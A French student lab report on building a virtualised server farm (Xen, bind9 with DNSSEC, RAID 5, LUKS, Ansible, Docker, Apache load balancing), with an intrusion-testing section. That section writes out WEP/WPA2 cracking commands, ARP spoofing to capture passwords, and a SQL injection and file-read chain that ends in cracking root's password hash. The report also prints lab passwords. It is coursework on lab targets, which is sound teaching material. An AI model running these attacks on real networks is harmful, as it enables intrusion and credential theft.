Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T14:56:44Z

Psanchez : /* Partie 7 */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

